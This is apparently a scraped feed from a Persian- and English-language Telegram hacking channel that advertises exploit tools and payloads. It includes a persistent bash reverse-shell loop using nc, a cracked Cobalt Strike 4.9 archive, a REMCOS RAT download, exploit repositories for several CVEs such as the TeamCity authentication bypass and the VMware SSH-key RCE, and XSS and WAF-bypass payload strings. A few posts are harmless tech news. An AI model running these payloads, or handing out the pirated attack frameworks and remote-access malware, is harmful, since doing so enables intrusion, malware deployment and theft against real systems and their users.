0Day.Today | Learn Exploit | Zero World | Dark web |
18K subscribers
1.18K photos
112 videos
486 files
1.21K links
☝️Iп Tнε Nαмε Oғ GOD☝️

Web Exploiting
& Server Hacking
Shell & Admin panel Access

priv8 Google hacking Dorks
new vul & bugs discovering & Tut


❗️0 day is today❗️

تبلیغات : @LearnExploitAds

IR0Day.Today
Download Telegram
Traitor - Exploit Low-Hanging Fruit Automatically

- Nearly all of GTFOBins
- Writeable docker.sock
- CVE-2022-0847 (Dirty pipe)
- CVE-2021-4034 (pwnkit)
- CVE-2021-3560

Github

#Linux #Exploit #Tools
——————
0Day.Today
@LearnExploit
@Tech_Army
وب سایت Code.org ، سرویس اموزش برنامه نویسی به کودکان و دانش اموزان، که بیش از 10 سال پیش توسط مهدی و هادی پرتوی تاسیس شده بود، اعلام کرده در حال شروع کار روی محتوا به زبان فارسی هست تا کودکان فارسی زبان در جهان بتونن به زبان مادریشون برنامه نویسی یاد بگیرن.

#News
——————
0Day.Today
@LearnExploit
@Tech_Army
Reverse Shell Bash Loop:

while true; do sleep 5 && mknod /dev/shm/p p; cat /dev/shm/p | /bin/bash -i | nc 127.0.0.1 9001 >/dev/shm/p; done

——————
0Day.Today
@LearnExploit
@Tech_Army
CVE-2023-42793 - Authentication Bypass in JetBrains TeamCity CI/CD

Github

#Bypass #CVE
——————
0Day.Today
@LearnExploit
@Tech_Army
CVE-2023-28229 - Windows CNG KeyIso RPC EoP/SBX

Github

#redteam #CVE
——————
0Day.Today
@LearnExploit
@Tech_Army
Using silent SMS to localize LTE users

Read

#SMS #LTEsniffer
——————
0Day.Today
@LearnExploit
@Tech_Army
خیلیاتون مشکل VPN دارین یا دنبال VPN های پولی این اکثرا همه سرویس ها روی ipv6 ( آی پی ورژن 6 ) بالا میان مثل وارپ و ...... حتما امتحان کنین نتیجه میده اگرم دنبال Key وارپین از باتی که میزارم این زیر استفاده کنین . ( خودم رو ایرانسل جواب گرفتم اگر شما ام با همراه یا رایتل جواب گرفتین همین زیر بگین ❤️ )

Generate 12 PB Warp keys

#VPN
——————
0Day.Today
@LearnExploit
@Tech_Army
دانلود منیجر persepolis ساخته علیرضا امیرصمیمی که تقریبا آپدیتش قدیمی شده و آپدیتی براش منتشر نشده , حالا شخصی اومده و این دانلود منیجر رو با اسم Ghermez توسعه داده و شما برای سیستم عامل هاتون ( لینوکس , مک و ویندوز ) میتونین اونو دانلود کنین و استفاده کنید .

Ghermez

#Tools #ایرانی
——————‌
0Day.Today
@LearnExploit
@Tech_Army
Cobalt Strike 4.9.zip
74.6 MB
Cobalt Strike 4.9 cracked version 🔥🆕


#Tools #leak #Red_Team
——————‌
0Day.Today
@LearnExploit
@Tech_Army
CVE-2023-37988 - Wordpress/Plugin - Contact Form Generator [RXSS]

Github

#CVE #Wordpress #RXSS
——————‌
0Day.Today
@LearnExploit
@Tech_Army
SSRF King - SSRF plugin for burp Automates SSRF

Github

#plugin #Burpsuite
——————‌
0Day.Today
@LearnExploit
@Tech_Army
CVE-2023-34039-main.zip
126.9 KB
VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)

#CVE #RCE
——————‌
0Day.Today
@LearnExploit
@Tech_Army
🌟 REMCOS RAT🌟

⬇️ Download

bugcod3

#rat #windows #malware

🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army
Please open Telegram to view this post
VIEW IN TELEGRAM
ابزار Shuck ابزاری برای کرک hash با دیتابیس HIBP

Shuck.sh

#hash
——————‌
0Day.Today
@LearnExploit
@Tech_Army
🌟 XSStrike 🌟

Advanced XSS Detection Suite

📝
XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.

Instead of injecting payloads and checking it works like all the other tools do, XSStrike analyses the response with multiple parsers and then crafts payloads that are guaranteed to work by context analysis integrated with a fuzzing engine. Here are some examples of the payloads generated by XSStrike:
}]};(confirm)()//\
<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z
</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)``>z
</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//

Apart from that, XSStrike has crawling, fuzzing, parameter discovery, WAF detection capabilities as well. It also scans for DOM XSS vulnerabilities.

Main Features
⚪️Reflected and DOM XSS scanning
⚪️Multi-threaded crawling
⚪️Context analysis
⚪️Configurable core
⚪️WAF detection & evasion
⚪️Outdated JS lib scanning
⚪️Intelligent payload generator
⚪️Handmade HTML & JavaScript parser
⚪️Powerful fuzzing engine
⚪️Blind XSS support
⚪️Highly researched work-flow
⚪️Complete HTTP support
⚪️Bruteforce payloads from a file
⚪️Payload Encoding

⬇️ Download
😸 Github

bugcod3

#XSS #Scanner #Exploit #Python

🔥 0Day.Today
👤 T.me/LearnExploit
📢 T.me/Tech_Army
Please open Telegram to view this post
VIEW IN TELEGRAM
Xss Bypass Waf

&lt;details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%2300000000000000000041//

#bypass #waf
——————‌
0Day.Today
@LearnExploit
@Tech_Army